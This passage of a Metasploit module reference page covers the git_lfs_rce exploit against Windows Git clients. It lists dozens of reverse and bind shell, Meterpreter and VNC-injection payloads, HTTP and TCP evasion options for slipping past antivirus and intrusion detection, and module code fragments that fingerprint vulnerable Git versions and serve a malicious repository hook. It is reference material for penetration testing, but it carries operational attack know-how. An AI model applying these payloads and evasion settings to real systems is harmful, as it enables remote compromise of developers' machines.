   131  payload/windows/shell/bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Stager (Windows x86)
   132  payload/windows/shell/bind_tcp_rc4                                           normal  No     Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   133  payload/windows/shell/bind_tcp_uuid                                          normal  No     Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
   134  payload/windows/shell/reverse_ipv6_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (IPv6)
   135  payload/windows/shell/reverse_nonx_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   136  payload/windows/shell/reverse_ord_tcp                                        normal  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   137  payload/windows/shell/reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Stager
   138  payload/windows/shell/reverse_tcp_allports                                   normal  No     Windows Command Shell, Reverse All-Port TCP Stager
   139  payload/windows/shell/reverse_tcp_dns                                        normal  No     Windows Command Shell, Reverse TCP Stager (DNS)
   140  payload/windows/shell/reverse_tcp_rc4                                        normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   141  payload/windows/shell/reverse_tcp_rc4_dns                                    normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   142  payload/windows/shell/reverse_tcp_uuid                                       normal  No     Windows Command Shell, Reverse TCP Stager with UUID Support
   143  payload/windows/shell/reverse_udp                                            normal  No     Windows Command Shell, Reverse UDP Stager with UUID Support
   144  payload/windows/shell_bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Inline
   145  payload/windows/shell_bind_tcp_xpfw                                          normal  No     Windows Disable Windows ICF, Command Shell, Bind TCP Inline
   146  payload/windows/shell_hidden_bind_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Inline
   147  payload/windows/shell_reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Inline
   148  payload/windows/speak_pwned                                                  normal  No     Windows Speech API - Say "You Got Pwned!"
   149  payload/windows/upexec/bind_hidden_ipknock_tcp                               normal  No     Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
   150  payload/windows/upexec/bind_hidden_tcp                                       normal  No     Windows Upload/Execute, Hidden Bind TCP Stager
   151  payload/windows/upexec/bind_ipv6_tcp                                         normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
   152  payload/windows/upexec/bind_ipv6_tcp_uuid                                    normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   153  payload/windows/upexec/bind_named_pipe                                       normal  No     Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
   154  payload/windows/upexec/bind_nonx_tcp                                         normal  No     Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   155  payload/windows/upexec/bind_tcp                                              normal  No     Windows Upload/Execute, Bind TCP Stager (Windows x86)
   156  payload/windows/upexec/bind_tcp_rc4                                          normal  No     Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   157  payload/windows/upexec/bind_tcp_uuid                                         normal  No     Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
   158  payload/windows/upexec/reverse_ipv6_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (IPv6)
   159  payload/windows/upexec/reverse_nonx_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   160  payload/windows/upexec/reverse_ord_tcp                                       normal  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   161  payload/windows/upexec/reverse_tcp                                           normal  No     Windows Upload/Execute, Reverse TCP Stager
   162  payload/windows/upexec/reverse_tcp_allports                                  normal  No     Windows Upload/Execute, Reverse All-Port TCP Stager
   163  payload/windows/upexec/reverse_tcp_dns                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (DNS)
   164  payload/windows/upexec/reverse_tcp_rc4                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   165  payload/windows/upexec/reverse_tcp_rc4_dns                                   normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   166  payload/windows/upexec/reverse_tcp_uuid                                      normal  No     Windows Upload/Execute, Reverse TCP Stager with UUID Support
   167  payload/windows/upexec/reverse_udp                                           normal  No     Windows Upload/Execute, Reverse UDP Stager with UUID Support
   168  payload/windows/vncinject/bind_hidden_ipknock_tcp                            normal  No     VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
   169  payload/windows/vncinject/bind_hidden_tcp                                    normal  No     VNC Server (Reflective Injection), Hidden Bind TCP Stager
   170  payload/windows/vncinject/bind_ipv6_tcp                                      normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   171  payload/windows/vncinject/bind_ipv6_tcp_uuid                                 normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   172  payload/windows/vncinject/bind_named_pipe                                    normal  No     VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
   173  payload/windows/vncinject/bind_nonx_tcp                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   174  payload/windows/vncinject/bind_tcp                                           normal  No     VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
   175  payload/windows/vncinject/bind_tcp_rc4                                       normal  No     VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   176  payload/windows/vncinject/bind_tcp_uuid                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   177  payload/windows/vncinject/reverse_hop_http                                   normal  No     VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   178  payload/windows/vncinject/reverse_http                                       normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   179  payload/windows/vncinject/reverse_http_proxy_pstore                          normal  No     VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
   180  payload/windows/vncinject/reverse_ipv6_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
   181  payload/windows/vncinject/reverse_nonx_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   182  payload/windows/vncinject/reverse_ord_tcp                                    normal  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   183  payload/windows/vncinject/reverse_tcp                                        normal  No     VNC Server (Reflective Injection), Reverse TCP Stager
   184  payload/windows/vncinject/reverse_tcp_allports                               normal  No     VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   185  payload/windows/vncinject/reverse_tcp_dns                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
   186  payload/windows/vncinject/reverse_tcp_rc4                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   187  payload/windows/vncinject/reverse_tcp_rc4_dns                                normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   188  payload/windows/vncinject/reverse_tcp_uuid                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
   189  payload/windows/vncinject/reverse_winhttp                                    normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   190  payload/windows/x64/exec                                                     normal  No     Windows x64 Execute Command
   191  payload/windows/x64/loadlibrary                                              normal  No     Windows x64 LoadLibrary Path
   192  payload/windows/x64/messagebox                                               normal  No     Windows MessageBox x64
   193  payload/windows/x64/meterpreter/bind_ipv6_tcp                                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   194  payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                           normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   195  payload/windows/x64/meterpreter/bind_named_pipe                              normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   196  payload/windows/x64/meterpreter/bind_tcp                                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   197  payload/windows/x64/meterpreter/bind_tcp_rc4                                 normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   198  payload/windows/x64/meterpreter/bind_tcp_uuid                                normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   199  payload/windows/x64/meterpreter/reverse_http                                 normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   200  payload/windows/x64/meterpreter/reverse_https                                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   201  payload/windows/x64/meterpreter/reverse_named_pipe                           normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   202  payload/windows/x64/meterpreter/reverse_tcp                                  normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   203  payload/windows/x64/meterpreter/reverse_tcp_rc4                              normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   204  payload/windows/x64/meterpreter/reverse_tcp_uuid                             normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   205  payload/windows/x64/meterpreter/reverse_winhttp                              normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   206  payload/windows/x64/meterpreter/reverse_winhttps                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   207  payload/windows/x64/meterpreter_bind_named_pipe                              normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
   208  payload/windows/x64/meterpreter_bind_tcp                                     normal  No     Windows Meterpreter Shell, Bind TCP Inline (x64)
   209  payload/windows/x64/meterpreter_reverse_http                                 normal  No     Windows Meterpreter Shell, Reverse HTTP Inline (x64)
   210  payload/windows/x64/meterpreter_reverse_https                                normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
   211  payload/windows/x64/meterpreter_reverse_ipv6_tcp                             normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
   212  payload/windows/x64/meterpreter_reverse_tcp                                  normal  No     Windows Meterpreter Shell, Reverse TCP Inline x64
   213  payload/windows/x64/peinject/bind_ipv6_tcp                                   normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   214  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                              normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   215  payload/windows/x64/peinject/bind_named_pipe                                 normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   216  payload/windows/x64/peinject/bind_tcp                                        normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   217  payload/windows/x64/peinject/bind_tcp_rc4                                    normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   218  payload/windows/x64/peinject/bind_tcp_uuid                                   normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   219  payload/windows/x64/peinject/reverse_named_pipe                              normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   220  payload/windows/x64/peinject/reverse_tcp                                     normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   221  payload/windows/x64/peinject/reverse_tcp_rc4                                 normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   222  payload/windows/x64/peinject/reverse_tcp_uuid                                normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   223  payload/windows/x64/powershell_bind_tcp                                      normal  No     Windows Interactive Powershell Session, Bind TCP
   224  payload/windows/x64/powershell_reverse_tcp                                   normal  No     Windows Interactive Powershell Session, Reverse TCP
   225  payload/windows/x64/shell/bind_ipv6_tcp                                      normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   226  payload/windows/x64/shell/bind_ipv6_tcp_uuid                                 normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   227  payload/windows/x64/shell/bind_named_pipe                                    normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   228  payload/windows/x64/shell/bind_tcp                                           normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   229  payload/windows/x64/shell/bind_tcp_rc4                                       normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   230  payload/windows/x64/shell/bind_tcp_uuid                                      normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   231  payload/windows/x64/shell/reverse_tcp                                        normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   232  payload/windows/x64/shell/reverse_tcp_rc4                                    normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   233  payload/windows/x64/shell/reverse_tcp_uuid                                   normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   234  payload/windows/x64/shell_bind_tcp                                           normal  No     Windows x64 Command Shell, Bind TCP Inline
   235  payload/windows/x64/shell_reverse_tcp                                        normal  No     Windows x64 Command Shell, Reverse TCP Inline
   236  payload/windows/x64/vncinject/bind_ipv6_tcp                                  normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   237  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                             normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   238  payload/windows/x64/vncinject/bind_named_pipe                                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   239  payload/windows/x64/vncinject/bind_tcp                                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   240  payload/windows/x64/vncinject/bind_tcp_rc4                                   normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   241  payload/windows/x64/vncinject/bind_tcp_uuid                                  normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   242  payload/windows/x64/vncinject/reverse_http                                   normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   243  payload/windows/x64/vncinject/reverse_https                                  normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   244  payload/windows/x64/vncinject/reverse_tcp                                    normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   245  payload/windows/x64/vncinject/reverse_tcp_rc4                                normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   246  payload/windows/x64/vncinject/reverse_tcp_uuid                               normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   247  payload/windows/x64/vncinject/reverse_winhttp                                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   248  payload/windows/x64/vncinject/reverse_winhttps                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options


Here is the full list of possible evasion options supported by the windows/http/git_lfs_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/http/git_lfs_rce) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate
                                                            )
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache
                                                            )
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-n
                                                            ormal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

The client's User-Agent string was unidentifiable: <INFO>. The client needs to clone the malicious repo on windows with a git version less than 2.29.0


Here is a relevant code snippet related to the "The client's User-Agent string was unidentifiable: <INFO>. The client needs to clone the malicious repo on windows with a git version less than 2.29.0" error message:

119:	  # Returns +true+ if the target is suitable, else fail_with descriptive message
120:	  #
121:	  def target_suitable?(user_agent)
122:	    info = fingerprint_user_agent(user_agent)
123:	    if info[:ua_name] == Msf::HttpClients::UNKNOWN
124:	      fail_with(Failure::NoTarget, "The client's User-Agent string was unidentifiable: #{info}. The client needs to clone the malicious repo on windows with a git version less than 2.29.0")
125:	    end
126:	
127:	    if info[:os_name] == 'Windows' &&
128:	       ((info[:ua_name] == Msf::HttpClients::GIT && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.29.2')) ||
129:	         (info[:ua_name] == Msf::HttpClients::GIT_LFS && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.12')))

The git client needs to be running on Windows with a version equal or less than 2.29.2 while git-lfs needs to be equal or less than 2.12.0. The user agent, <INFO:UA_NAME>, found was running on, <INFO:OS_NAME> and was at version: <INFO:UA_VER>


Here is a relevant code snippet related to the "The git client needs to be running on Windows with a version equal or less than 2.29.2 while git-lfs needs to be equal or less than 2.12.0. The user agent, <INFO:UA_NAME>, found was running on, <INFO:OS_NAME> and was at version: <INFO:UA_VER>" error message:

127:	    if info[:os_name] == 'Windows' &&
128:	       ((info[:ua_name] == Msf::HttpClients::GIT && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.29.2')) ||
129:	         (info[:ua_name] == Msf::HttpClients::GIT_LFS && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.12')))
130:	      true
131:	    else
132:	      fail_with(Failure::NotVulnerable, "The git client needs to be running on Windows with a version equal or less than 2.29.2 while git-lfs needs to be equal or less than 2.12.0. The user agent, #{info[:ua_name]}, found was running on, #{info[:os_name]} and was at version: #{info[:ua_ver]}")
133:	    end
134:	  end
135:	
136:	  def on_request_uri(cli, req)
137:	    target_suitable?(req.headers['User-Agent'])

Git client did not send a valid request


Here is a relevant code snippet related to the "Git client did not send a valid request" error message:

141:	      when 'ref-discovery'
142:	        response = send_refs(request)
143:	      when 'upload-pack'
144:	        response = send_requested_objs(request)
145:	      else
146:	        fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')
147:	      end
148:	    else
149:	      response = handle_lfs_objects(req, @hook_payload, @git_addr)
150:	      unless response.code == 200
151:	        cli.send_response(response)

Failed to respond to Git client's LFS request


Here is a relevant code snippet related to the "Failed to respond to Git client's LFS request" error message:

147:	      end
148:	    else
149:	      response = handle_lfs_objects(req, @hook_payload, @git_addr)
150:	      unless response.code == 200
151:	        cli.send_response(response)
152:	        fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')
153:	      end
154:	    end
155:	    cli.send_response(response)
156:	  end
157:	

Client request was invalid


Here is a relevant code snippet related to the "Client request was invalid" error message:

172:	
173:	    case req.method
174:	    when 'POST'
175:	      print_status('Sending payload data...')
176:	      response = get_batch_response(req, git_addr, git_hook_obj)
177:	      fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
178:	    when 'GET'
179:	      print_status('Sending LFS object...')
180:	      response = get_requested_obj_response(req, git_hook_obj)
181:	      fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
182:	    else

Client sent invalid request


Here is a relevant code snippet related to the "Client sent invalid request" error message:

176:	      response = get_batch_response(req, git_addr, git_hook_obj)
177:	      fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
178:	    when 'GET'
179:	      print_status('Sending LFS object...')
180:	      response = get_requested_obj_response(req, git_hook_obj)
181:	      fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
182:	    else
183:	      fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
184:	    end
185:	
186:	    response

Unable to handle client's request


Here is a relevant code snippet related to the "Unable to handle client's request" error message:

178:	    when 'GET'
179:	      print_status('Sending LFS object...')
180:	      response = get_requested_obj_response(req, git_hook_obj)
181:	      fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
182:	    else
183:	      fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
184:	    end
185:	
186:	    response
187:	  end
188:	

Git client did not perform a clone


Here is a relevant code snippet related to the "Git client did not perform a clone" error message:

185:	
186:	    response
187:	  end
188:	
189:	  def send_refs(req)
190:	    fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'
191:	
192:	    response = get_ref_discovery_response(req, @refs)
193:	    fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response
194:	
195:	    response

Failed to build a proper response to the ref discovery request


Here is a relevant code snippet related to the "Failed to build a proper response to the ref discovery request" error message:

188:	
189:	  def send_refs(req)
190:	    fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'
191:	
192:	    response = get_ref_discovery_response(req, @refs)
193:	    fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response
194:	
195:	    response
196:	  end
197:	
198:	  def send_requested_objs(req)

Could not generate upload-pack response


Here is a relevant code snippet related to the "Could not generate upload-pack response" error message:

196:	  end
197:	
198:	  def send_requested_objs(req)
199:	    upload_pack_resp = get_upload_pack_response(req, @git_objs)
200:	    unless upload_pack_resp
201:	      fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
202:	    end
203:	
204:	    upload_pack_resp
205:	  end
206:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Dawid Golunski
  • space-r7
  • jheysel-r7

Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.